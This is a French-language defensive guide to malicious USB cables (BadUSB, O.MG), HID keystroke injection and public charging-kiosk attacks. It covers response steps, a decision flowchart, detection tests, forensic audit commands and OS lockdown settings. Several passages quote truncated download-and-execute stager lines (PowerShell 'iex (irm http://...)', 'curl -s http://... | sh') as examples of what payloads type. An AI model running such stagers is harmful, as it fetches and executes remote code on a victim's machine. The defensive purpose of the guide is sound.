Câbles USB malveillants (injection HID / BadUSB) et défense des kiosques publics¶

Brancher votre ordinateur portable, votre smartphone ou votre tablette sur un cordon de chargement USB-C ou Lightning inconnu laissé au bureau d'un hôtel, à la porte d'un aéroport, sur la banquette arrière d'un covoiturage ou dans un sac de cadeaux de conférence, ou afficher une boîte de dialogue Exécuter Windows (Win + R), une fenêtre PowerShell ou un terminal macOS clignotent sur votre écran pendant 500 millisecondes et commencent à taper à une vitesse de 1 000 mots par minute juste après avoir connecté un câble USB, une clé USB ou un clicker de présentation, est la signature d'une attaque par injection de frappe BadUSB / HID (Human Interface Device) ou d'une exploitation de kiosque de chargement public (« Juice Jacking »). Contrairement aux logiciels malveillants traditionnels stockés sous forme de fichier sur une clé USB que les scanners antivirus peuvent inspecter avant de les ouvrir, les implants matériels armés tels que O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny et USBHarpoon intègrent un microcontrôleur miniature et une radio Wi-Fi directement à l'intérieur de la coque du connecteur en plastique moulé d'un cordon de chargement Apple, Anker ou Samsung d'apparence ordinaire (à peine 12 millimètres ou 0,47 pouces). longue).

Lorsqu'il est branché sur votre ordinateur ou sur un smartphone déverrouillé, ce microcontrôleur caché ne s'annonce pas à votre système d'exploitation comme un lecteur de stockage ou un chargeur. Au lieu de cela, il énumère via USB D+ et D- broches de données en standard Clavier USB HID (Class 0x03) ou Adaptateur réseau Ethernet USB (RNDIS / ECM). Étant donné que Windows, macOS, Linux, iOS et Android font intrinsèquement confiance aux claviers nouvellement branchés sans nécessiter de pilotes ou d'analyses antivirus, le câble déclenche immédiatement une séquence préprogrammée de frappes (Win + R -> powershell -w hidden -ep bypass ... sous Windows, ou Cmd + Space -> Terminal sur macOS) ou déclenche une charge utile Wi-Fi contrôlée à distance au moment où un attaquant dans un rayon de 90 mètres (300 pieds) clique sur « Exécuter » sur son téléphone. Pour connaître les menaces plus larges liées aux points d'accès sans fil et aux réseaux de voyage ainsi que les ports de chargement, consultez également notre Guide de défense du Wi-Fi public, d'Evil Twin et du juice jacking. Si vous faites face à des menaces physiques ou à une extorsion, appelez votre numéro d'urgence local (911 aux États-Unis et au Canada, 112 dans toute l'Union européenne, 999 au Royaume-Uni) ou consultez notre numéros d'urgence répertoire. Suivez les actions immédiates d’isolation matérielle et de récupération médico-légale ci-dessous.

Fais ça maintenant¶

1. ** Retirez IMMÉDIATEMENT le câble USB, la clé USB, la station d'accueil ou le cordon de chargement suspecté du port de votre appareil ** : Chaque seconde, un câble BadUSB ou O.MG reste branché sur un ordinateur ou un téléphone déverrouillé permet à son microcontrôleur interne (ou à un attaquant à proximité connecté au point d'accès Wi-Fi interne caché du câble) d'injecter des frappes, d'exfiltrer des données sur un canal série/réseau USB caché ou d'exécuter un enregistreur de frappe matériel qui enregistre chaque mot de passe que vous tapez sur votre clavier externe.
2. Déconnectez dès maintenant l'ordinateur portable ou le téléphone concerné du Wi-Fi, Ethernet et Bluetooth, et NE tapez AUCUN mot de passe sur cette machine : La charge utile standard BadUSB / Rubber Ducky de 2 secondes n'écrit pas un programme volumineux sur l'interface lente du clavier ; au lieu de cela, il tape une commande "stager" d'une ligne dans PowerShell (iex (irm http://...)) ou Terminal macOS (curl -s http://... | sh) qui télécharge un infostealer complet ou un cheval de Troie d'accès à distance via votre connexion Wi-Fi. Couper le Wi-Fi et Ethernet tue immédiatement le téléchargement ou arrête l’exfiltration.
3. Si vous avez appuyé sur « Faire confiance à cet ordinateur » sur votre iPhone/iPad ou sélectionné « Transfert de fichiers (MTP) / Autoriser le débogage USB (ADB) » sur votre téléphone Android sur une borne de recharge publique, révoquez immédiatement la confiance :
4. Sur iPhone/iPad : Débranchez le cordon, accédez à Paramètres > Développeur (si visible en bas des Paramètres) -> appuyez sur Effacer les ordinateurs de confiance. Si le développeur n'était pas visible, accédez à Paramètres > Général > Transférer ou réinitialiser l'iPhone > Réinitialiser > Réinitialiser l'emplacement et la confidentialité, qui efface cryptographiquement tous les jumelés. lockdownd l'hôte enregistre les enregistrements de couplage afin qu'aucun ordinateur ou kiosque ne puisse plus accéder à la sauvegarde de votre iPhone sans votre mot de passe.
5. Sur Android : débranchez le cordon, accédez à Paramètres > Système > Options du développeur (si activé) -> appuyez sur Révoquer les autorisations de débogage USB et désactivez complètement les Options du développeur.
6. Inspectez ce que la charge utile de la frappe BadUSB vient de taper sur votre ordinateur en cochant la case Exécuter (RunMRU), journal des commandes PowerShell (PSReadLine), et l'historique du terminal macOS : avant de redémarrer, ouvrez une fenêtre de terminal propre sur votre ordinateur hors ligne et lisez la commande exacte que le faux clavier USB a injectée dans votre système à l'aide de notre commandes d'audit médico-légal dans la phase 2.
7. Conservez le câble USB ou la clé USB suspect dans un conteneur métallique ou un sac Faraday (ne le rebranchez PAS sur un ordinateur pour « voir ce qu'il y a dessus ») : étant donné qu'un câble O.MG contient un émetteur-récepteur Wi-Fi ESP8266/ESP32 actif qui s'allume chaque fois qu'il reçoit 5 volts (même lorsqu'il est branché sur une brique murale USB ou une banque de batteries), le brancher sur un chargeur mural allume son point d'accès Wi-Fi caché et permet à un attaquant de sortir de votre chambre d'hôtel ou de votre bureau. pour s'y connecter ou déclencher son autodestruction (Self-Destruct / Wipe) fonctionnalité. Laissez-le complètement débranché.
8. Si la charge utile BadUSB a exécuté un script sur votre ordinateur alors que vous étiez connecté, alternez toutes les informations d'identification et révoquez les sessions actives à partir d'un appareil distinct et propre : étant donné que 90 % des charges utiles BadUSB modernes lancent un voleur d'informations qui récupère les cookies du navigateur et les mots de passe enregistrés en 3 secondes, exécutez notre Guide sur le piratage des cookies de session et la révocation des jetons Infostealer depuis un smartphone propre.

Arbre de décision : réponse à une exposition suspectée d'un câble USB malveillant ou d'un kiosque public¶

Utilisez cet organigramme tactique pour déterminer si votre appareil a été compromis après avoir été branché sur un câble USB, une station d'accueil, une clé USB ou une station de recharge publique non fiable :

flowchart TD
    Event["Branché sur un câble USB inconnu, une clé USB trouvée, un kiosque d'hôtel/aéroport ou un terminal de scie/exécuter un flash de fenêtre sur l'écran"] --> Unplug["ÉTAPE 1 : Débranchez immédiatement le câble/l'appareil USB et déconnectez le Wi-Fi/Ethernet"]

    Unplug --> WhatDevice{"Quel appareil a été branché sur le cordon ou le port USB inconnu ?"}

    WhatDevice -->|"Ordinateur portable/de bureau Windows, macOS ou Linux"| ScreenLocked{"L'écran de l'ordinateur était-il VERROUILLÉ ou DÉVERROUILLÉ lorsqu'il était branché ?"}
    WhatDevice -->|"iPhone/iPad (iOS/iPadOS)"| iOSState{"L'iPhone a-t-il été déverrouillé et avez-vous appuyé sur « Confiance » ou vu la saisie ?"}
    WhatDevice -->|"Smartphone/tablette Android"| AndroidState{"Le téléphone a-t-il été déverrouillé ou le « débogage USB (ADB) » est-il activé ?"}

    ScreenLocked -->|"Débloqué (connecté au bureau)"| AssumeHID["RISQUE ÉLEVÉ : le câble BadUSB/O.MG peut exécuter des frappes au clavier (Win+R/Cmd+Espace) en <1,5 secondes sans aucune invite -> Passer à l'audit médico-légal de phase 2"]
    ScreenLocked -->|"Verrouillé (écran de mot de passe)"| NetworkDMA["Vérifiez si Thunderbolt/PCIe DMA ou USB Ethernet (empoisonnement RNDIS/DHCP) s'est produit ; Les frappes au clavier ne peuvent pas contourner l'écran de verrouillage sans votre mot de passe"]

    iOSState -->|"Verrouillé tout le temps (iOS 15+ / Mode restreint USB)"| iOSSafe["SÉCURISÉ : le « mode restreint USB » d'Apple désactive physiquement les broches de données sur les iPhones verrouillés -> Seule l'alimentation est transmise"]
    iOSState -->|"« Trust » déverrouillé et exploité (ou Saw Safari/Raccourcis ouverts)"| iOSRevoke["Exécuter immédiatement : Paramètres > Général > Transférer ou réinitialiser l'iPhone > Réinitialiser > Réinitialiser l'emplacement et la confidentialité + Application de raccourcis d'audit"]

    AndroidState -->|"Verrouillé tout le temps (mode charge uniquement)"| AndroidSafe["SÉCURISÉ : Android moderne par défaut sur 'Aucun transfert de données (charge uniquement)' -> Aucune donnée transmise"]
    AndroidState -->|"Saisie d'écran déverrouillée et scie ou ADB/MTP approuvé"| AndroidRevoke["Désactiver les options de développement -> Révoquer le débogage USB -> Vérifier les applications installées et les téléchargements Chrome"]

Comprendre le fonctionnement réel des attaques BadUSB, des câbles O.MG et des recharges publiques¶

Pour vous défendre efficacement et éviter de sous-réagir à un véritable implant matériel et de paniquer face à des ports de chargement inoffensifs, vous devez comprendre les trois mécanismes techniques distincts utilisés par les attaquants sur USB :

1. Injection de frappe BadUSB / HID (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• Le défaut de conception fondamental de l'USB : le bus série universel (USB) la spécification permet à un seul connecteur physique de se déclarer comme n'importe quelle classe de périphérique lors de l'énumération (bInterfaceClass), ou encore comme Périphérique composite (se déclarant simultanément comme clé USB et clavier USB).
• À l'intérieur d'un câble O.MG ou d'un chargeur malveillant : visuellement, un câble O.MG est impossible à distinguer à 100 % d'un véritable câble Apple USB-C vers USB-C tressé ou blanc, USB-C vers Lightning ou USB-A. Il charge votre téléphone et transfère les données normalement. Cependant, caché à l’intérieur de la pointe du connecteur actif se trouve un microcontrôleur microscopique double cœur avec Wi-Fi 802.11 et stockage flash :
• Injection active de frappe : dès que vous branchez le câble sur un PC, Mac ou smartphone Windows déverrouillé, le câble est répertorié comme un clavier HID générique et tape jusqu'à 850 caractères par seconde (DuckyScript). En 1,5 seconde, il appuie Win + R (Windows) ou Cmd + Space (Mac), lance un shell d'arrière-plan caché, télécharge une charge utile et ferme la fenêtre.
• Enregistreur de frappe matériel en ligne (pour claviers USB externes) : si un attaquant échange le câble USB reliant votre clavier mécanique externe à votre ordinateur de bureau avec un câble O.MG, l'implant se place silencieusement au milieu du fil et enregistre jusqu'à 650 000 frappes (y compris votre mot de passe principal Bitwarden/1Password, votre code PIN de connexion Windows et votre mot de passe BIOS) dans sa mémoire flash interne, que l'attaquant télécharge sans fil depuis l'extérieur du bâtiment via Wi-Fi.
• Charges utiles géolocalisées et temporisées : Contrairement à un simple Ducky USB en caoutchouc à 50 $ qui tape sa charge utile dès qu'il est branché, un câble O.MG peut rester complètement inactif comme un cordon de charge normal pendant jours ou semaines jusqu'à ce qu'il détecte votre réseau Wi-Fi d'entreprise (BSSID geofencing) ou jusqu'à ce que l'attaquant le déclenche à distance via son interface utilisateur Web intégrée.

2. Détournement de l’adaptateur réseau USB (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Même si l'écran de votre ordinateur portable est verrouillé (Win + L ou Ctrl + Cmd + Q) afin qu'un faux clavier USB ne puisse pas ouvrir une fenêtre de terminal, brancher un périphérique USB malveillant sur un port de données USB déverrouillé permet à l'appareil d'être répertorié comme adaptateur Ethernet Gigabit USB haute priorité (USB RNDIS ou CDC-ECM).
• Étant donné que Windows et macOS donnent automatiquement la priorité à une interface Ethernet filaire nouvellement connectée par rapport au Wi-Fi, le périphérique USB devient la passerelle par défaut de votre ordinateur portable via DHCP (0.0.0.0/1), intercepte le trafic réseau local non chiffré, répond aux WPAD / LLMNR / mDNS requêtes ou siphons les cookies de navigateur en arrière-plan non HttpOnly.

3. Kiosque public "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Lorsque vous branchez un smartphone sur un port USB public (dans un aéroport, une gare, une tête de lit d'hôtel ou une unité d'infodivertissement de voiture de location) à l'aide d'un câble compatible données :
• Ce qui est bloqué automatiquement : Depuis iOS 11.4.1 / iOS 15+ (USB Restricted Mode) et Android 9+ (Charge-Only Default), brancher un téléphone sur un port de données USB n'expose pas automatiquement vos photos ou fichiers. Le transfert de données est bloqué jusqu'à ce que vous déverrouilliez le téléphone ET appuyez explicitement sur ** « Faire confiance à cet ordinateur » (et entrez le code de votre iPhone) ** ou faites passer manuellement la notification USB d'Android de Aucun transfert de données à Transfert de fichiers (MTP) ou Autoriser le débogage USB.
• Où réside le véritable danger dans les kiosques publics :
  1. ChoiceJacking et injection HID sur les téléphones déverrouillés : comme l'ont démontré les chercheurs en sécurité de l'Université de technologie de Graz (ChoiceJacking), si votre téléphone est déverrouillé dans votre main pendant que vous le branchez sur un port USB public malveillant, le kiosque peut d'abord être énuméré comme un clavier USB (HID) pendant 200 millisecondes et envoyez le message exact Tab / Enter ou des frappes de touches d'assistance nécessaires pour cliquer sur l'invite « Autoriser/Transfert de fichiers » pour vous sur votre écran avant de passer en mode de transfert de données hôte.
  2. ** Dommages matériels causés par une alimentation sale/une surtension (USB Killer)** : Un port USB public saboté peut évacuer 200 V CC d'une batterie de condensateurs directement dans la puce du contrôleur USB-C de votre téléphone, faisant frire la carte mère de manière permanente.

Matrice de comparaison : Matériel de défense USB et protections du système d'exploitation¶

Phase 1 : Comment détecter visuellement et électriquement un câble USB malveillant (Audit de câble O.MG)¶

Si vous avez trouvé un câble USB suspect dans votre bureau, connecté à l'arrière du clavier de votre ordinateur de bureau ou à l'intérieur de votre sac de voyage, suivez ces quatre étapes pour déterminer s'il s'agit d'un implant matériel :

1. Test n° 1 : Mesurez la continuité ou utilisez un testeur de câble matériel (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester) :
2. Les câbles de charge passifs standard USB-A vers USB-C, USB-A vers Lightning ou USB-C non marqués E ne contiennent aucun courant de traction de microprocesseur actif lorsqu'une seule extrémité est branchée sur l'alimentation.
3. Un Détecteur de câbles malveillants O.MG (ou un analyseur de courant/protocole USB en ligne comme un Power-Z KM003C) se trouve entre la source d'alimentation et le câble avec rien de connecté à l'extrémité du câble :
   • Si un câble consomme 30 à 120 milliampères (mA) de courant à 5 V lorsque rien n'est branché à l'autre extrémité, ou tente de négocier un port USB D+/D- énumération en elle-même, il y a un ordinateur / radio Wi-Fi actif caché à l'intérieur de la tête du câble.
4. Test n°2 : Vérifiez les points d'accès Wi-Fi cachés (O.MG SSID par défaut ou préfixes MAC ESP32) :
5. Les câbles O.MG et les implants BadUSB sans fil utilisent un Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Puce Wi-Fi à l’intérieur de la coque du connecteur.
6. En utilisant un parc de batteries USB isolé dans une zone isolée (jamais votre ordinateur), l'alimentation d'un câble O.MG non configuré ou par défaut diffuse souvent un réseau Wi-Fi 2,4 GHz (SSID par défaut O.MG à 192.168.4.1, ou un SSID masqué avec une Adresse MAC / BSSID OUI appartenant à Espressif Inc. tel que 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, sauf usurpé).
7. Test n° 3 : Inspectez la longueur du surmoulage du connecteur et la génération de chaleur :
8. Comparez côte à côte la coque anti-traction en plastique du câble suspect avec un câble Apple ou Anker authentique connu :
   • Bien que les générations récentes de câbles O.MG correspondent aux dimensions exactes de la coque d'Apple, après 3 minutes de réception d'une alimentation de 5 V, la tête du connecteur contenant le microcontrôleur Wi-Fi actif sera ** visiblement chaude (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** entre le bout de vos doigts, même lorsqu'aucun téléphone n'est en charge à l'autre extrémité. (Un câble passif normal sans rien branché à l’extrémité reste complètement froid à température ambiante.)

Phase 2 : Triage médico-légal si un câble BadUSB ou O.MG est saisi sur votre ordinateur¶

Si vous avez branché un câble USB, une clé USB ou un périphérique sur votre ordinateur portable Windows, Mac ou Linux et que vous avez vu le menu Démarrer, la boîte de dialogue Exécuter (Win + R), Pleins feux (Cmd + Space), ou une fenêtre de terminal noir/bleu s'ouvre et se ferme, ne redémarrez pas encore. Exécutez ces commandes hors ligne exactes pour voir ce que le faux clavier USB a tapé et quel ID de fournisseur/produit USB (VID:PID) connecté à votre port :

1. Audit médico-légal Windows 10 et Windows 11 (exécuté dans PowerShell hors ligne)¶

Ouvrez PowerShell (Admin) sur le PC Windows hors ligne et exécutez ces quatre commandes d'investigation :

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Comment interpréter Get-ItemProperty ... RunMRU :
• Presque tous les scripts Windows BadUSB / Rubber Ducky démarrent en appuyant sur Win + R (GUI r dans DuckyScript) et en tapant une commande comme powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex ou cmd /c curl ....
• Même si le script essaie de supprimer RunMRU à la fin, si vous avez retiré le câble en cours d'exécution (ou si le script n'a pas effacé le registre), l'URL malveillante exacte et la commande se trouveront juste à l'intérieur. RunMRU (a, b, c valeurs) ou à l'intérieur ConsoleHost_history.txt.

2. Audit médico-légal Apple macOS (exécuté dans un terminal hors ligne)¶

Sur macOS, les charges utiles BadUSB appuient généralement sur Cmd + Space (GUI SPACE), tapez Terminal, appuyez sur Enter, et exécutez un curl ou osascript une seule ligne :

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Audit médico-légal Linux (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Si l'un des journaux ci-dessus montre qu'un powershell, cmd, mshta, curl, wget, ou osascript commande exécutée alors que vous êtes connecté à Internet, supposons qu'un voleur d'informations ou une porte dérobée persistante soit exécutée : révoquez toutes les sessions à l'aide de notre Guide sur le détournement de cookies de session et le voleur d'informations et effectuez une réinstallation propre du système d'exploitation en suivant notre guide d'infection par les logiciels malveillants, les rançongiciels et les logiciels espions.

Phase 3 : Verrouiller vos appareils afin que les câbles BadUSB ne puissent jamais s'exécuter automatiquement¶

Les systèmes d'exploitation modernes incluent désormais de puissants verrous de port matériels intégrés qui neutralisent complètement les câbles BadUSB, O.MG et Rubber Duckies avant qu'ils ne puissent saisir un seul caractère, à condition que vous activiez ces paramètres :

1. Apple macOS (MacBooks Apple Silicon M1 / M2 / M3 / M4) : activez « Demander de nouveaux accessoires »¶

Sur les Mac Apple Silicon exécutant macOS Ventura, Sonoma ou Sequoia, Apple a introduit une autorisation de port USB-C/Thunderbolt au niveau matériel qui empêche tout nouveau câble ou périphérique USB d'être énuméré en tant que clavier jusqu'à ce que vous cliquiez explicitement sur "Autoriser" : 1. Ouvrez ** le menu Pomme () > Paramètres système > Confidentialité et sécurité**. 2. Faites défiler jusqu'à la section Sécurité et recherchez "Autoriser les accessoires à se connecter". 3. Remplacez-le de Automatiquement lors du déverrouillage par "Demander de nouveaux accessoires" (ou "Demander à chaque fois" pour une protection de voyage de haute sécurité maximale). 4. Pourquoi cela arrête les câbles O.MG sur un Mac : Lorsque vous branchez un câble de chargement O.MG trompeur avec "Demander à chaque fois" ou "Demander de nouveaux accessoires" activé, l'alimentation circule immédiatement pour charger la batterie de votre MacBook, mais macOS affiche une boîte de dialogue d'avertissement indiquant : "Allow accessory '[Device Name]' to connect to this Mac?" Parce qu'un câble de charge passif normal ne demande jamais à se connecter en tant qu'accessoire de données, voir cette fenêtre contextuelle lors du branchement d'un simple cordon de charge expose instantanément le câble comme un implant matériel tout en bloquant 100 % de ses frappes jusqu'à ce que vous le débranchez.

2. Apple iPhone et iPad : vérifiez que le « Mode restreint USB » est activé¶

1. Ouvrez Paramètres > Face ID et code d'accès (ou Touch ID et code d'accès) et saisissez votre code d'accès.
2. Faites défiler jusqu'à la section ** "Autoriser l'accès en cas de verrouillage" **.
3. Assurez-vous que le bouton à côté de Accessoires (ou Accessoires USB) est désactivé** (gris).
4. Lorsque Accessoires est OFF, chaque fois que votre iPhone est verrouillé, iOS désactive physiquement les broches de données USB, ne laissant passer que l'alimentation de charge. Appuyez toujours sur le bouton latéral pour verrouiller l'écran de votre iPhone AVANT de le brancher sur un chargeur ou une voiture de location inconnu.

3. Android 15/16 et GrapheneOS : activez la « Protection avancée » / le verrouillage du port USB¶

• Sur Android standard (Pixel, Samsung Galaxy) :
• Ne quittez jamais Options pour les développeurs > Débogage USB (ADB) activé en voyage.
• Dans Paramètres > Sécurité et confidentialité > Plus de paramètres de sécurité (ou Protection avancée sur Android 15/16+), activez Protection USB/Bloquer les nouveaux appareils USB lorsqu'ils sont verrouillés.
• Verrouillez toujours votre écran avant de vous connecter à un port de chargement public afin que les attaques ChoiceJacking HID ne puissent pas interagir avec un écran déverrouillé.

4. Linux et Windows Entreprise : USBGuard et restrictions d'installation des appareils¶

• Sous Linux (USBGuard) : Installez le usbguard démon (sudo apt install usbguard), qui bloque tout périphérique USB nouvellement connecté affirmant bInterfaceClass 03 (Clavier HID) si un clavier principal est déjà connecté ou jusqu'à ce qu'il soit explicitement autorisé via usbguard allow-device.
• Sous Windows 11 Professionnel/Entreprise : Activez La protection DMA du noyau (BitLocker + VBS) dans Sécurité Windows > Sécurité des appareils > Isolation du noyau pour arrêter les attaques Thunderbolt/PCIe DMA et toujours verrouiller votre poste de travail (Win + L) avant de brancher un câble USB inconnu afin que les injecteurs de frappe ne puissent pas accéder à un shell de bureau connecté.

Questions fréquemment posées¶

Un câble O.MG ou un cordon BadUSB malveillant peut-il pirater mon iPhone ou mon téléphone Android si je le branche uniquement lorsque l'écran de mon téléphone est verrouillé ?¶

Si votre iPhone a Paramètres > Face ID et mot de passe > Autoriser l'accès en cas de verrouillage > Accessoires tourné DÉSACTIVÉ (la valeur par défaut sur iOS 15 à iOS 18) et votre écran est verrouillé lorsque vous branchez le câble, aucune donnée ni aucune frappe ne peuvent atteindre votre iPhone car iOS désactive les lignes de données USB au niveau du contrôleur matériel jusqu'à ce que vous déverrouilliez le téléphone avec Face ID ou votre mot de passe. Cependant, dès que vous déverrouillez votre iPhone alors que le câble O.MG est toujours branché, le câble peut être énuméré comme un clavier USB externe et envoyer rapidement des raccourcis clavier iOS (tels que Cmd + Espace pour ouvrir Spotlight, ouvrir Safari vers une URL de profil de phishing/configuration ou déclencher des raccourcis Apple). Ne laissez jamais branché un câble USB trouvé ou non fiable pendant le déverrouillage de votre téléphone.

Comment puis-je faire la différence entre un véritable câble USB « Charge-Only » et un câble de données USB normal ?¶

Étant donné que les fabricants impriment rarement des symboles sur les câbles pour distinguer les cordons de charge uniquement des cordons de données, le test le plus simple et sûr consiste à brancher le câble entre un ordinateur et un ancien appareil non critique (ou à utiliser une carte de testeur de continuité de brochage de câble USB en ligne à 10 $ comme la Testeur de câble USB Treedix, qui allume des LED individuelles pour chaque fil interne sans démarrer aucun microcontrôleur). Sur une carte testeur de continuité, un vrai Câble de charge uniquement s'allumera seulement VBUS et GND (2 LED), tandis qu'un câble compatible données s'allumera également J+ et D- (et CC1/TX/RX sur USB-C). Vous pouvez également conserver un adaptateur bloqueur de données USB physique attaché en permanence à l'extrémité de votre cordon de chargement de voyage où vous pouvez regarder physiquement à l'intérieur du port femelle et vérifier de vos propres yeux que les broches de données centrales sont manquantes.

Est-il sécuritaire de brancher mon propre câble de chargement sur la prise secteur (prise murale à 2 ou 3 broches) dans un aéroport ou un hôtel au lieu du port USB intégré ?¶

Oui, 100 pour cent sûr. Une prise murale électrique standard de 110 V/230 V CA (sur laquelle vous branchez votre propre bloc d'alimentation Apple, Samsung ou Anker) ne transporte que du courant électrique alternatif et n'a aucune connexion de données capable de communiquer avec le contrôleur USB de votre téléphone. Tant que vous utilisez votre propre brique d'adaptateur mural CA de confiance et votre propre câble USB de confiance, une prise électrique CA d'un aéroport ou d'un hôtel ne peut pas effectuer d'attaques Juice Jacking ou BadUSB.

Pourquoi Windows affiche-t-il « Configuration d'un appareil : périphérique clavier HID » lorsque j'ai branché une clé USB ou un chargeur de vape/e-cigarette ?¶

Voir Windows afficher une lecture de notification toast "Configuration d'un appareil : appareil clavier HID" quand tu as branché quelque chose qui est pas un clavier (comme une clé USB, un câble de chargement, un ventilateur de bureau bon marché, un cadre photo numérique ou un chargeur de vape) est l'arme fumante n°1 d'un Attaque par injection de frappe BadUSB / HID. Aucun lecteur flash ou câble de chargement légitime n'a jamais besoin d'être enregistré auprès de Windows en tant que clavier. Débranchez immédiatement l'appareil, déconnectez-vous du Wi-Fi et exécutez PowerShell ExécuterMRU et PSLireLigne auditez les commandes de la phase 2 pour voir quelle commande ce faux clavier a tapé.

Sources vérifiées¶

• Bureau fédéral d'enquête (FBI) et Commission fédérale des communications (FCC) (États-Unis) : Annonces d'intérêt public sur les risques liés aux stations de recharge USB publiques (« Juice Jacking ») et les implants matériels malveillants.
• Agence de sécurité nationale (NSA) & Agence de cybersécurité et de sécurité des infrastructures (CISA) (États-Unis) : Meilleures pratiques en matière d'appareils mobiles : voyager en toute sécurité avec des téléphones mobiles, des ordinateurs portables et des périphériques USB.
• Université de technologie de Graz (TU Graz Groupe de recherche InfoSec) : ChoiceJacking : compromettre des appareils mobiles via des chargeurs malveillants via une injection USB HID (USENIX Security Symposium).
• Guide de sécurité de la plate-forme Apple : Mode USB restreint, accès aux accessoires en cas de verrouillage et architecture d'autorisation des accessoires macOS Apple Silicon USB/Thunderbolt.
• Forum des développeurs USB (USB-IF): Authentification USB Type-C, alimentation (USB PD) et le périphérique d'interface humaine (HID Classe 0x03) Spécifications.

Guides associés¶

• Wi-Fi public, points d'accès Evil Twin et défense contre le juice jacking
• Détournement de cookies de session, malware infostealer et révocation de jetons
• Détection des stalkerwares, des logiciels espions et des enregistreurs de frappe sur les téléphones
• Infection par logiciels malveillants, ransomwares et logiciels espions
• Phishing par code QR (quishing) et redirections malveillantes
• Numéros d'urgence par pays